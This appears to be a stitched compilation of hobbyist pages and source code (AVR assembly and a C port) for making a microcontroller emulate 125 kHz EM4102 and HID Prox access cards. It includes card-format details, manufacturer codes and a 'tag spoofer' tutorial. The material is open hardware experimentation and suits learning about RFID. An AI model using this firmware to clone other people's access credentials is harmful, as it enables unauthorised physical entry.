 *     when there is no RF field present.
 *
 * Theory of operation:
 *
 *   Like all passive RFID tags, this circuit is powered by the 125 kHz
 *   carrier wave emitted by the RFID reader. In our case, the coil is
 *   just connected to two AVR I/O pins. We‘re actually powering the AVR
 *   through its protective clamping diodes, and the power is retained by
 *   the AVR die‘s internal capacitance.
 *
 *   This is a very weak power source, and the AVR typically gets little
 *   over a volt of Vcc. As a result, most of the AVR‘s oscillators won‘t
 *   start. We can, however, use the carrier wave itself as a clock as well.
 *   This also makes the software easy, since the instruction clock is also
 *   the RF clock. We‘re already clamping the coil voltage into something
 *   resembles a square wave, so this makes a good external clock source.
 *
 *   To send data back to the reader, passive RFID tags can selectively
 *   attenuate the reader‘s carrier wave. Most RFID tags do that with a
 *   transistor which shorts their coil. We accomplish this by driving the
 *   coil I/O pins to ground, by toggling the DDRB register. Since the I/O
 *   drivers on the AVR are weaker than the RF signal, we still get enough
 *   of a pulse to provide the CLKI input.
 *
 *   And that‘s about all there is to it. The software is quite simple- we
 *   are mostly just using assembler macros to convert the desired RFID tag
 *   code into sequences of subroutine calls which output bits. We can‘t
 *   get too fancy with the software, since it‘s only executing at 125 kHz.
 *
 */
 
/************ Configuration *****************************************/
 
// Uncomment exactly one format:

#define FORMAT_IS_EM4102
//#define FORMAT_IS_HID

// For the EM4102: An 8-bit manufacturer ID and 32-bit unique ID.

#define EM4102_MFR_ID        0x12
#define EM4102_UNIQUE_ID    0x3456789A

/*
 * For the HID card:
 *   A 20-bit manufacturer code, 8-bit site code, and 16-bit unique ID, 1-bit odd parity.
 *
 * Manufacturer code is fixed. If modified, HID readers do not recognise the tag.
 * (This may also be a kind of fixed header.) Tested on HID readers with 26-bit wiegand output.
 */
    
#define HID_MFG_CODE        0x01002  // Do not modify
#define HID_SITE_CODE       0x9F
#define HID_UNIQUE_ID       1326     // May be written on the back of the card

/************ Common ************************************************/

#ifndef __ASSEMBLER__
#define __ASSEMBLER__
#endif
#include <avr/io.h>

.global main

#define OUT_PINS       _BV(PINB3) | _BV(PINB4)

    .macro    delay cycles
    .if \cycles > 1
    rjmp    .+0
    delay    (\cycles - 2)
    .elseif \cycles > 0
    nop
    delay    (\cycles - 1)
    .endif
    .endm

    .macro    manchester bit, count=1
    .if        \count
    manchester (\bit >> 1), (\count - 1)
    .if        \bit & 1
    baseband_1
    baseband_0
    .else
    baseband_0
    baseband_1
    .endif
    .endif
    .endm

    .macro    stop_bit
    baseband_0
    baseband_1_last
    .endm
    

/************ EM4102 Implementation *********************************/

/*
 * The common EM4102 cards use Manchester encoding, at a fixed rate of
 * 64 RF clocks per bit. This means 32 clock cycles per half-bit (baseband
 * code). There are a total of 64 manchester-encoded bits per packet. 40
 * of these are payload, 9 bits are header (all ones) and one bit is a stop
 * bit (zero). All other bits are parity, with one row parity bit every
 * 4 bits, and four column parity bits at the end of the packet.
 */

#ifdef FORMAT_IS_EM4102

#define ROW_PARITY(n)  ( (((n) & 0xF) << 1) |                          (((n) ^ ((n) >> 1) ^ ((n) >> 2) ^ ((n) >> 3)) & 1) )

#define COLUMN_PARITY  ( (EM4102_MFR_ID >> 4) ^                                 (EM4102_MFR_ID) ^                                      (EM4102_UNIQUE_ID >> 28) ^                             (EM4102_UNIQUE_ID >> 24) ^                             (EM4102_UNIQUE_ID >> 20) ^                             (EM4102_UNIQUE_ID >> 16) ^                             (EM4102_UNIQUE_ID >> 12) ^                             (EM4102_UNIQUE_ID >> 8) ^                              (EM4102_UNIQUE_ID >> 4) ^                              (EM4102_UNIQUE_ID) )

main:

        .macro    baseband_0
        rcall    baseband30_0
        rjmp    .+0
        .endm

        .macro    baseband_1
        rcall    baseband30_1
        rjmp    .+0
        .endm
        
        .macro    baseband_1_last
        rcall    baseband30_1
        rjmp    main
        .endm

        .macro    header
        manchester 0x1FF, 9
        .endm
        
        header
        manchester    ROW_PARITY(EM4102_MFR_ID >> 4), 5
        manchester    ROW_PARITY(EM4102_MFR_ID >> 0), 5
        manchester    ROW_PARITY(EM4102_UNIQUE_ID >> 28), 5
        manchester    ROW_PARITY(EM4102_UNIQUE_ID >> 24), 5
        manchester    ROW_PARITY(EM4102_UNIQUE_ID >> 20), 5
        manchester    ROW_PARITY(EM4102_UNIQUE_ID >> 16), 5
        manchester    ROW_PARITY(EM4102_UNIQUE_ID >> 12), 5
        manchester    ROW_PARITY(EM4102_UNIQUE_ID >> 8), 5
        manchester    ROW_PARITY(EM4102_UNIQUE_ID >> 4), 5
        manchester    ROW_PARITY(EM4102_UNIQUE_ID >> 0), 5
        manchester    COLUMN_PARITY, 4
        stop_bit
        
        /*
         * Emit a 0 at the baseband layer.
         * Takes a total of 30 clock cycles, including call overhead.
         */
baseband30_0:
        ldi    r16, OUT_PINS        // 1
        rjmp    baseband30        // 2

        /*
         * Emit a 1 at the baseband layer.
         * Takes a total of 30 clock cycles, including call overhead.
         */
baseband30_1:
        ldi    r16, 0            // 1
        rjmp    baseband30        // 2
        
        /*
         * Internal routine for baseband32_0 and _1. Must use
         * a total of 24 clock cycles. (32 - 1 ldi - 2 rjmp - 3 rcall)
         */ 
baseband30:
        out    _SFR_IO_ADDR(DDRB), r16        // 1
        delay    19                // 19
        ret                    // 4

#endif /* FORMAT_IS_EM4102 */


/************ HID Implementation *********************************/

/*
 * This works with the HID 125 kHz prox cards I‘ve tested it with,
 * but there are undoubtedly other formats used by HID. My cards are
 * marked with the model number "HID 0004H".
 *
 * These cards use both manchester encoding and FSK modulation. The FSK
 * modulation represents zeroes and ones using 4 and 5 full RF cycles, respectively.
 * An entire baseband bit lasts 50 RF cycles.
 *
 * Each packet begins with a header consisting of the baseband bit pattern "000111".
 * After that, we have 45 manchester-encoded bits before the packet repeats. The
 * last bit appears to be a stop bit, always zero. The previous 20 bits encode the
 * 6-digit unique ID, which is printed on the back of the card. The other 24 bits
 * have an unknown use. They could be a site code or manufacturing code. In the cards
 * I‘ve examined, these bits are constant.
 */
 
#ifdef FORMAT_IS_HID

#define ODD_PARITY(n)  ((( ((n) >> 0 ) ^ ((n) >> 1 ) ^ ((n) >> 2 ) ^ ((n) >> 3 ) ^                            ((n) >> 4 ) ^ ((n) >> 5 ) ^ ((n) >> 6 ) ^ ((n) >> 7 ) ^                            ((n) >> 8 ) ^ ((n) >> 9 ) ^ ((n) >> 10) ^ ((n) >> 11) ^                            ((n) >> 12) ^ ((n) >> 13) ^ ((n) >> 14) ^ ((n) >> 15) ^                            ((n) >> 16) ^ ((n) >> 17) ^ ((n) >> 18) ^ ((n) >> 19) ^                            ((n) >> 20) ^ ((n) >> 21) ^ ((n) >> 22) ^ ((n) >> 23) ^                            ((n) >> 24) ^ ((n) >> 25) ^ ((n) >> 26) ^ ((n) >> 27) ^                            ((n) >> 28) ^ ((n) >> 29) ^ ((n) >> 30) ^ ((n) >> 31) ) & 1) ^ 1)
main:
        eor    r16, r16
        ldi    r17, OUT_PINS
loop:

        /*
         * Toggle the output modulation, in the specified number
         * of total clock cycles.
         */        
        .macro toggle clocks
        delay    (\clocks - 2)
        eor    r16, r17
        out    _SFR_IO_ADDR(DDRB), r16
        .endm
        
        /*
         * Emit a 0 at the baseband layer. (Toggle every 4 cycles, for 50 cycles)
     * There was an rjmp that got us to the beginning of the loop, so drop
     * 2 cycles from the delay if this is the first bit.  That will give the
     * appropriate delay before the toggle.
     *
     * From observing the HID card, each 0 bit is either 48 or 52 cycles.
     * The length alternates to keep the average at 50.  This keeps the
     * waveform smooth, and keeps each bit in its 50 cycle time slot.
     *
         * We don‘t have time for a function call, so we just chew
         * up lots of flash...
         */
        .macro    baseband_0
    .if startloop
    toggle    2        // 4
    .equ startloop, 0
    .else
        toggle    4        // 4
    .endif
        toggle    4        // 8
        toggle    4        // 12
        toggle    4        // 16
        toggle    4        // 20
        toggle    4        // 24
        toggle    4        // 28
        toggle    4        // 32
        toggle    4        // 36
        toggle    4        // 40
        toggle    4        // 44
        toggle    4        // 48
    .if evenzero
    .equ evenzero, 0
    .else
    toggle    4        // 52
    .equ evenzero, 1
    .endif
        .endm

        /*
         * Emit a 1 at the baseband layer. (Toggle every 5 cycles, for 50 cycles)
         */    
        .macro    baseband_1
    .if startloop
    toggle    3        // 4
    .equ startloop, 0
    .else
        toggle    5        // 4
    .endif
        toggle    5        // 10
        toggle    5        // 15
        toggle    5        // 20
        toggle    5        // 25
        toggle    5        // 30
        toggle    5        // 35
        toggle    5        // 40
        toggle    5        // 45
        toggle    5        // 50
        .endm

        .macro header
    .equ evenzero, 0
    .equ startloop, 1
        baseband_0
        baseband_0
        baseband_0
        baseband_1
        baseband_1
        baseband_1
        .endm


    /*
     * This should add up to 45 bits.
     *
     * Some cards may use different 45-bit codes: For example,
     * a Wiegand code, or something more site-specific. But the
     * cards that I‘ve seen use a 20-bit manufacturer code,
     * 8-bit site code, 16-bit unique ID, and a single parity bit.
     *
     * If your card uses ad ifferent coding scheme, you can add,
     * remove, and modify these ‘manchester‘ macros. Just make sure
     * the result adds up to the right number of bits.
     */
        header
        manchester    HID_MFG_CODE, 20
    manchester    HID_SITE_CODE, 8
    manchester    HID_UNIQUE_ID, 16
    manchester    ODD_PARITY(HID_MFG_CODE ^ HID_SITE_CODE ^ HID_UNIQUE_ID), 1

        rjmp    loop


#endif /* FORMAT_IS_HID */

/*****************************************************************/
 
/*
 * Permission is hereby granted, free of charge, to any person
 * obtaining a copy of this software and associated documentation
 * files (the "Software"), to deal in the Software without
 * restriction, including without limitation the rights to use,
 * copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the
 * Software is furnished to do so, subject to the following
 * conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
 * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
 * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
 * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
 * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
 * OTHER DEALINGS IN THE SOFTWARE.
 */
 

AVR RFID, OPTIMIZED AND PORTED TO C

Way back in 2008, I posted a writeup about using an AVR microcontroller as an RFID tag. Since then, it’s been great to see many people pick up this code and build their own DIY RFID tags.

In my original project, I was just interested in using an AVR as a way of emulating any tag protocol I wanted, even proprietary protocols like the HID cards that are so common for door entry. But a general purpose microcontroller really lends itself to making even more interesting tags. For example, imagine an action figure that has different poses which trigger microswitches that can be read by the AVR. It could report a different RFID code depending on which pose the action figure is in. This kind of very low-power physical computing is really interesting to me.

Trammell Hudson recently took a big step in this direction, in the name of creating a “multipass” card which could stay in his pocket and pretend to be any number of other cards. His original idea didn’t quite work out, due to limitations in the HID readers. But along the way, he created an optimized version of the AVRFID firmware which uses much less flash memory, and he ported it to C so that it can be more easily extended and modified.

He made this posible by very carefully choosing the instructions in the inner loops, creating a state machine that just barely fits within the available clock cycles:

One issue with programming HID Prox compatible cards is that the AVR’s RCALL and RET instructions are quite slow — 3 and 4 clocks respectively — so making a function call and returning from it requires seven clocks and would cause errors in the RF waveform. To get around this, Beth expanded all of the code inline to produce a single function that bit-bangs the coil loading with NOP‘s between each cycle. The 20-bit manufacturer ID (0x01002), 8-bit faciity code and 16-bit unique ID, all Manchester encoded, required 80 instructions per bit for a total of 3700 instructions out of the Tiny85′s maximum of 4096. Supporting 34-bit cards would not be possible with this design, much less multiple card IDs!

While RCALL/RET are out of the question, I noticed that IJMP is only 2 clocks. This means that the CPU can do an indirect jump to the value in the 16-bit Z register in enough time to be ready for the next FSK cycle. If we know where to go, that is… The LPM instruction takes three cycles to read a byte from flash into a register, which just barely fits during the idle time during a FSK baseband one. Loading the Z register for LPM takes at least two clocks (since it is really the two 8-bit registers r31:r30), which means the pgm_read_word() macro in avr/progmem.h won’t work. While the rest of the firmware is in mostly normal C, I resorted to writing assembly to interleave the coil toggling with the operations to determine the next output state and make the appropriate jump. If you want to follow along, the source for the RFID firmware is available in rfid/avrfid2.c.

His post covers a lot of ground, including how to connect an off-the-shelf HID card reader to a computer, and how to repeatedly program the AVR using a Bus Pirate.

Go check out the full article already!

/** \file
 * AVR RFID card.
 *
 * Based on avrfrid.S by Beth at Scanlime.
 * http://scanlime.org/2008/09/using-an-avr-as-an-rfid-tag/
 *
 * Normal C code doesn‘t really work here since we are limited to
 * very small number of cycles per bit.  The HID Prox cards are
 * FSK modulated with only four or five RF cycles per baseband cycle.
 * Since the AVR RCALL and RET instructions take four clocks each
 * we would miss all of our timing constaints if we tried to make those calls.
 *
 * However, the IJMP only takes 2 clock cycles, so we can build a state
 * machine and use it to make "function calls".  LPM also takes three
 * clocks, so we can‘t load a full address and jump to it within the
 * timing constraint, but we can split these operations across the
 * ten 5-cycle transitions during sending a baseband 1. 
 *
 * Each of these transitions takes 2 cycles for the XOR and OUT to
 * set the state, which leaves three cycles for our work.
 *
 * when programming with buspirate (wire/clip):
 *
 *    White/white   Reset 1  v  8 Vcc   Red
 *    Blue/Blue     Xtal1 2     7 SCK   Purple/green
 *                  Xtal2 3     6 MISO  Black/Black
 *    Black         Gnd   4     5 MOSI  Gray/Yellow
 *
 */
#include <avr/io.h>
#include <avr/pgmspace.h>
#include <avr/sfr_defs.h>

static void manchester_0(void);
static void manchester_1(void);
static void hid_header(void);
static void hid_reset(void);
//int main(void);

#define HID_MFG_CODE        0x01002  // Do not modify
#define HID_SITE_CODE       42
#define HID_UNIQUE_ID       23946     // May be written on the back of the card

#define HID_HEADER "2"
#define HID_RESET "3"

static const char hid_bits[]
PROGMEM __attribute__((__used__)) = {
#if 1
    HID_HEADER
    "0000"
    "0001"
    "0000"
    "0000"
    "0010" // HID Manufacturer code 0x01002 for n1002 cards?
    "00101010" // Site code 42
    "01011101"
    "10001010" // ID 23946
    "0" // parity
#else
    HID_HEADER
    "0001"
    "0000"
    "0000"
    "0000"
    "0010" // HID Manufacturer code, trying 10002 for 34-bit?
    "00000000" // fc-12
    "00001100"
    "00111000" // id 14371
    "00100011"
    "0"
#endif
    HID_RESET
};

typedef void (*state_function)(void);

static const state_function state_handlers[]
PROGMEM __attribute__((__used__)) = {
    manchester_0,
    manchester_1,
    hid_header,
    hid_reset,
};


#if 0
// HID manufacturer code (20 bits) == 0x01002
_0, _0, _0, _0,
_0, _0, _0, _1, _0, _0, _0, _0,
_0, _0, _0, _0, _0, _0, _1, _0,

// Facility code (8 bits) == 42
_0, _0, _1, _0, _1, _0, _1, _0,

// ID (16 bits) == 23946
_0, _1, _0, _1, _1, _1, _0, _1,
_1, _0, _0, _0, _1, _0, _1, _0,

// Parity
_0,

// And return to the header when we‘re done
hid_header
};
#endif


/** Use r16 and r17 to track the state of the pins.
 *
 * These are hard coded in toggle_raw().
 */
volatile register uint8_t r16 __asm__("r16"); 
volatile register uint8_t r17 __asm__("r17"); 

/** r15 tracks which bit are we currently sending.
 *
 * This is hard coded in hid_header().
 */
volatile register uint8_t bit_num __asm__("r15"); 



/** Jump to what ever has been stored into Z (r31:r30)
 *
 * PC <- Z
 * 2 clocks
 */
static inline void
__attribute__((__noreturn__))
ijmp(void)
{
    __asm__ __volatile__("ijmp");
    while(1); // make gcc happy
}


/**
 * Delay a specific number of clock cycles.
 *
 * rjmp is 2 clocks, nop is 1.
 *
 * So do one nop if the delay is an odd value and then rjmp‘s for n/2
 * to maximize code density.  Doesn‘t matter for the state machine version,
 * but otherwise the straight-code version would overflow the 8 KB space.
 */
static inline void
__attribute__((__always_inline__))
delay(
    const uint8_t n
)
{
    switch (n/2)
    {
    case 8: asm("rjmp .+0");
    case 7: asm("rjmp .+0");
    case 6: asm("rjmp .+0");
    case 5: asm("rjmp .+0");
    case 4: asm("rjmp .+0");
    case 3: asm("rjmp .+0");
    case 2: asm("rjmp .+0");
    case 1: asm("rjmp .+0");
    case 0: break;
    }

    if (n % 2 == 1)
        asm("nop");
}


/** Toggle the output pins to change the coil state.
 *
 * The DDRB pins are used to short the coil, which causes
 * an increase in current draw at the reader.
 *
 * 2 clocks.
 */
asm(
    ".macro toggle\n"
    "eor r16, r17\n"
    "out 0x17, r16\n" // _SFR_IO_ADDR(DDRB)
    ".endm\n"
);


static void
__attribute__((__always_inline__))
toggle_raw(void)
{
    __asm__ __volatile__("toggle");
}


/** Toggle the state of the output pins and delay for some clocks.
 *
 * The toggle_raw() takes 2 clocks, so we delay for the remainder.
 */
static void
__attribute__((__always_inline__))
toggle(    
    const uint8_t n
)
{
    toggle_raw();

    if (n > 2)
        delay(n-2);
}

#define ZERO_FREQ    4
#define ONE_FREQ    5


/** Send a 0 at the baseband layer.
 *
 * If delay_slot is set, the delays after the last FSK slot will not be
 * done, instead allowing the caller to make use of three extra clock
 * cycles for their own usage.
 */
static void
__attribute__((__always_inline__))
baseband_0(
    uint8_t delay_slot
)
{
    toggle(ZERO_FREQ); // 4
    toggle(ZERO_FREQ); // 8
    toggle(ZERO_FREQ); // 12
    toggle(ZERO_FREQ); // 16
    toggle(ZERO_FREQ); // 20
    toggle(ZERO_FREQ); // 24
    toggle(ZERO_FREQ); // 28
    toggle(ZERO_FREQ); // 32
    toggle(ZERO_FREQ); // 36
    toggle(ZERO_FREQ); // 40
    toggle(ZERO_FREQ); // 44
    toggle(delay_slot ? ZERO_FREQ : 0); // 48
}



/** Send a 1 at the baseband layer.
 *
 * This is only used by the header during setup since it must send
 * several 1 bits in a row.  Only the last one computes the next state.
 * There are no delay slots following this function.
 */
static void
__attribute__((__always_inline__))
baseband_1(void)
{
    toggle(ONE_FREQ); //  5
    toggle(ONE_FREQ); // 10
    toggle(ONE_FREQ); // 15
    toggle(ONE_FREQ); // 20
    toggle(ONE_FREQ); // 25
    toggle(ONE_FREQ); // 30
    toggle(ONE_FREQ); // 35
    toggle(ONE_FREQ); // 40
    toggle(ONE_FREQ); // 45
    toggle(ONE_FREQ); // 50
}


/** Send a 1 at the baseband layer.
 *
 * Interleaved with the FSK are the operations to load the next
 * function pointer.  Once the function "returns", the Z register
 * will contain the address of the next function in the state machine.
 *
 * This was too difficult to write in C and have gcc output the correct
 * stream of instructions.  Instead it is in inline assembly.
 * The rough translation into C:
 *
 *    toggle 5
 *            z = &hid_bits[bit_num];
 *    toggle 10
 *            next_state = lpm(z);
 *    toggle 15
 *            next_state = (next_state - ‘0‘) * 2
 *    toggle 20
 *            z = &state_handlers[next_state];
 *    toggle 25
 *            next_func_lo = lpm(z++);
 *    toggle 30
 *            next_func_hi = lpm(z++);
 *    toggle 35
 *            z = next_func_hi << 8 | next_func_lo;
 *    toggle 40
 *            bit_num++;
 *    toggle 45
 *            delay
 *    toggle 50
 *            No delay (leave these free for caller)
 */
static void
__attribute__((__always_inline__))
baseband_1_load(void)
{
    __asm__ __volatile__(
        "toggle /* 5 */\n"
                    "ldi r30, lo8(hid_bits)\n"
                    "ldi r31, hi8(hid_bits)\n"
                    "add r30, %0\n"
        "toggle /* 10 */\n"
                    "lpm r24, Z\n"
        "toggle /* 15 */\n"
                    "ldi r30, lo8(state_handlers)\n"
                    "ldi r31, hi8(state_handlers)\n"
                    "nop\n"
        "toggle /* 20 */\n"
                    "subi r24, ‘0‘\n"
                    "lsl r24\n"
                    "add r30, r24\n"
        "toggle /* 25 */\n"
                    "lpm r24, Z+\n"
        "toggle /* 30 */\n"
                    "lpm r31, Z\n"
        "toggle /* 35 */\n"
                    "mov r30, r24\n"
                    "rjmp .+0\n"
        "toggle /* 40 */\n"
                    "inc %0\n"
                    "rjmp .+0\n"
        "toggle /* 45 */\n"
                    "nop\n"
                    "rjmp .+0\n"
        "toggle /* 50 */\n"
                    "/* Leave slot free */\n"
        : "=r" (bit_num) // 0
    );
}


/** Send the HID header start bits.
 *
 * The HID header is an illegal state in the Manchester encoding
 * used to indicate the start of the packet.
 *
 * The last baseband 1 will load the first state machine function
 * pointer and jump into the statemachine.
 */
static void
hid_header(void)
{

    baseband_0(1);
    baseband_0(1);
    baseband_0(1);
    baseband_1();
    baseband_1();
    baseband_1_load();
                delay(1);
                ijmp();
}



/** Output a manchester 0.
 *
 * Output a baseband 0, followed by a baseband 1.
 * During the baseband 1 the Z register will be updated
 * to contain the pointer to the next function in the state machine.
 *
 * After the 1, with one delay slot since ijmp() takes two clocks,
 * we jump to the next state.
 */
static void
manchester_0(void)
{
    baseband_0(1);
    baseband_1_load();
                delay(1);
                ijmp();
}


/** Output a manchester 1.
 *
 * Output a baseband 1, followed by a baseband 0.
 * During the baseband 1 the Z register will be updated
 * to contain the pointer to the next function in the state machine.
 *
 * After the 0, with no delay slots since ijmp() takes two clocks,
 * we jump to the next state.
 */
static void
manchester_1(void)
{
    baseband_1_load();
                delay(3); // 3 delays slots remain
    baseband_0(0);
                ijmp();
}


/** Restart the state machine at state 0.
 *
 * This must be the last state in the machine and is the first one
 * called from main to kick things off.
 */
static void
hid_reset(void)
{
    // We will start in state 0, so the next to read is 1
    // gcc keeps optimizign writes to r15 out for some reason
    __asm__ __volatile__(
        "eor %0, %0\n"
        "inc %0\n"
        : "=r"(bit_num)
    );

    __asm__ __volatile__("rjmp hid_header");
}


/** Entry point at 0x0.
 *
 * Since we linking with -nostdlib, main needs to be at 0x0.
 * The easiest way to force that with the default linker script
 * is to put it in the .vectors text section.
 */
int
__attribute__((section(".vectors")))
main(void)
{
    r16 = 0;
    r17 = _BV(PINB3) | _BV(PINB4);

    hid_reset();

    /* Never returns */
}

AVR RFID Multipass

技术分享

I was inspired by Beth’s avrfid.S project to try to build a replacement for the multiple HID Prox cards that I carry for work.

Her design is simultaneously a technical tour-de-force and an example of how badly we can abuse the Atmel chips.

Here is the entire schematic:

技术分享

There is no connection to power and ground: the chip is powered through leakage current from the input pins. The AC waveform is fed directly into the pins: the internal protection diodes rectify it. During negative parts of the wave the silicon die’s inherent capacitance maintains state. The CPU clock is driven by the AC as well and depends on the ability of the coil to drive more current than the chip when DDRB is configured to pull the pins to the same potential. It’s truly amazing that this works at all.

The firmware she wrote in macro assembler is easy to understand and straightfoward, but filled the entire 8 KB flash on the ATTiny85 when compiled for HID Prox cards.

Unlike the CW modulated EM41xx cards that just load the coil for thirty RF cycles to send a baseband one and don’t load the coil to send a baseband zero, the HID cards use Frequency Shift Keying (FSK) modulation.

In FSK a baseband zero is sent by cycling the load on the coil for 50 cycles at a frequency of 4 RF cycles, and a baseband one is sent by cycling the load every 5 RF cycles. Beth’s code loads the coil by setting the two bits in DDRB to 1 while holding PORTB at 0, which places a short across the coil by putting both ends at the same potential.

While it turns out that my dream of automatically selecting the right RFID card doesn’t work, read on for details of how to build your own HID compatible RFID devices and some overview of the hand-tuned assembly necessary to fit the RFID timing.

Instruction timing

技术分享

One issue with programming HID Prox compatible cards is that the AVR’s RCALL and RET instructions are quite slow — 3 and 4 clocks respectively — so making a function call and returning from it requires seven clocks and would cause errors in the RF waveform. To get around this, Beth expanded all of the code inline to produce a single function that bit-bangs the coil loading with NOP‘s between each cycle. The 20-bit manufacturer ID (0x01002), 8-bit faciity code and 16-bit unique ID, all Manchester encoded, required 80 instructions per bit for a total of 3700 instructions out of the Tiny85’s maximum of 4096. Supporting 34-bit cards would not be possible with this design, much less multiple card IDs!

While RCALL/RET are out of the question, I noticed that IJMP is only 2 clocks. This means that the CPU can do an indirect jump to the value in the 16-bit Z register in enough time to be ready for the next FSK cycle. If we know where to go, that is… The LPM instruction takes three cycles to read a byte from flash into a register, which just barely fits during the idle time during a FSK baseband one. Loading the Z register for LPM takes at least two clocks (since it is really the two 8-bit registers r31:r30), which means the pgm_read_word() macro inavr/progmem.h won’t work. While the rest of the firmware is in mostly normal C, I resorted to writing assembly to interleave the coil toggling with the operations to determine the next output state and make the appropriate jump. If you want to follow along, the source for the RFID firmware is available in rfid/avrfid2.c.

The state machine

The card IDs are stored in a flash memory character array where the ASCII characters encode the states. 2 is the state that sends the HID header, state 3 is to jump back to the start, and states 0 and 1 send a zero or one. For one of my test cards, the array definition looks like this (with __used__ to indicate to gcc that this array must be present, even if it does not see any usage of it):

static const char hid_bits[]
PROGMEM __attribute__((__used__)) =
{
        "2"                    // HID_HEADER
        "00000001000000000010" // HID code 0x01002 for n1002 cards?
        "00101010"             // Site code 42
        "0101110110001010"     // ID 23946
        "0"                    // parity (should be a separate state)
    "3"                    // HID_RESET
};

 

The code to send a baseband one looks roughly like this, with the FSK generation interleaved with reading the next state from the hid_bits[] array and then looking up the function to call from the state_handlers[]. At the end of the function, the Z register holds the function pointer to be called next. The toggle macro takes two clocks and turns the load on the coil if it is currently unloaded, or turns it off if it is currently on. This leaves three clocks to do before the next toggle. Most of the instructions are single cycle, except for LPM which is three clocks, and RJMP .+0 which is a two clock NOP.

baseband1:
    toggle /* 5 */
                ldi r30, lo8(hid_bits)
                ldi r31, hi8(hid_bits)
                add r30, r15 // bit_num
    toggle /* 10 */
                lpm r24, Z // next_bit = lpm(hid_bits[bitnum])
    toggle /* 15 */
                ldi r30, lo8(state_handlers)
                ldi r31, hi8(state_handlers)
                nop
    toggle /* 20 */
                subi r24, ‘0‘
                lsl r24
                add r30, r24 // z = &state_handlers[next_bit - ‘0‘]
    toggle /* 25 */
                lpm r24, Z+
    toggle /* 30 */
                lpm r31, Z
    toggle /* 35 */
                mov r30, r24 // z = lpm(z);
                rjmp .+0
    toggle /* 40 */
                inc r15 // bit_num++
                rjmp .+0
    toggle /* 45 */
                nop // Nothing to do!
                rjmp .+0
    toggle /* 50 */
                /* Leave last delay slot free */

Last year we wrote about building HID Proxcard RFID tags with attiny85 microcontrollers (based on Micah’s avrfid.s code). The C version only supported classic 26-bit cards, but I recently needed to support the “secure” HID Corporate 1000 35-bit format.

Based on Daniel Smith’s writeup on the format and some digging around, I figured out that the MFG_CODE for this format is 10-bits long with the value 0x005. He also pointed out that the 26-bit firmware had the wrong code — it is not the 20-bit code 0x01002, but is instead the 19-bit code 0x0801 and the bottom bit is part of the parity computation for the card id. If you’re using a HID branded Proxcard reader, the value that it outputs is the entire data portion, including all of the parity bits, but does not include the MFC_CODE part. If anyone knows of a table of these codes, please let me know!

I’ve updated my firmware with these changes and it works great. Emulating a 35-bit card takes 846 bytes of flash (nine more than the 26-bit cards since the state machine stores one bit per byte), so it might be possible to port this to the attiny10. I’ve also found that the tags work much better with a small capacitor across the two clock pins, as shown in the above photo.

AVRFID 1.1 FIRMWARE

I don’t normally write bloggy posts on every version of every source file I check in, but every so often an older project sees some more activity, and I love the opportunity to revisit software I wrote years ago. Sometimes I wonder why I wrote such-and-such thing that way and oh my god what an ugly hack. But usually it’s just refreshing to think about a problem I haven’t thought about in a while.

The AVRFID was a quick but rather unique project, back from when I was on a bit of a 125 kHz RFID binge culminating in the design, construction, and installation of a proxcard reader for my garage door. While I was fidgeting around with such things, it occurred to me that you could (using a whole host of dirty tricks) convince a general-purpose 8-bit microcontroller like the AVR to function as a passive RFID tag.

Since then, I received a couple patches:

  • Luke Koops improved the FSK modulation for HID tags, so that the resulting waveform is much more regular.
  • Cesar Fernandez described the HID card format in more detail, and implemented a parity calculation. The 45-bit code is actually composed of four distinct fields:
    • A 20-bit manufacturer code or header, constant for all HID cards.
    • An 8-bit site code, unique to the particular security installation.
    • A 16-bit unique ID. These are often printed in decimal on the back of the card, and they seem roughly sequential.
    • An odd parity bit, covering the other 44 bits.

I didn’t have my RFID gear handy, so Cesar was kind enough to verify it with his official HID reader. So I stamped a new version number on it. If you’re interested in building your own HID card emulator, there is now a much better chance it will actually work with your reader 

DUCT TAPE RFID TAG #1

 技术分享

This is just a messy first prototype, but I recently tried making an AVRFID tag on a substrate of duct tape. The first attempt involved:

  • An upside-down strip of duct tape, as the base for everything else to stick atop
  • 100 turns of AWG 40 magnet wire around a ~66mm diameter form, which I then haphazardly squished against the tape
  • An ATtiny85 µC in the SOIC-8 package, programmed with the latest AVRFID firmware
  • SMT 0.1 µF capacitor across the power pins
  • SMT 1 nF capacitor in parallel with the coil, for tuning it to approximately 125 kHz
  • Sealed with clear packing tape on the opposite side

It’s ugly, and I really want to try this experiment over again with a smaller IC package, like TSSOP-8. But the card works very well, and the read range is practically indistinguishable from a mass-produced RFID card. I tested this one using an official HID ProxPoint reader.

I’ve been busy, but once I have time to perfect this technique I’m hoping to write some instructions, as it’s a pretty quick and easy way to make a DIY RFID tag that’s actually in a convenient form-factor.

Stupid Simple Arduino LF RFID Tag Spoofer

技术分享

 
 RFID tags are all over the place.  They‘re used in building access control systems, passports, inventory tracking . . .   This instructable will show how you can use an Arduino and a few simple components (wire coil, transistor, capacitor, resistor) to make a device that can spoof an 125 KHz (low frequency) RFID tag.  This is version 1, so there are many enhancements that can be made, but this version is stupid simple, yet it works.  I did this in a few hours without much previous knowledge of RFID and without any fancy equipment (like a radio tuning hardware or an oscilloscope . . .I guess an oscilloscope is fancy, I need to pick up one of those).  

UPDATE: Here is a link to an Arduino Mini shield based on these instructions
 
 
Parts:

*Some enamel coated solid core copper wire (I used the green spool from the 3 spool set Radio Shack carries).
*A NPN transistor, I used a 2N3904
*A 10 K Ohm Resistor
*A 10 nF capacitor (0.01 uF). I‘m using a Metalized polyester film cap I got from Radio Shack, others should work though
*A toilet paper roll to wind the wire on
I tested my circuit using a Parallax RFID serial reader connected to a second Arduino
技术分享
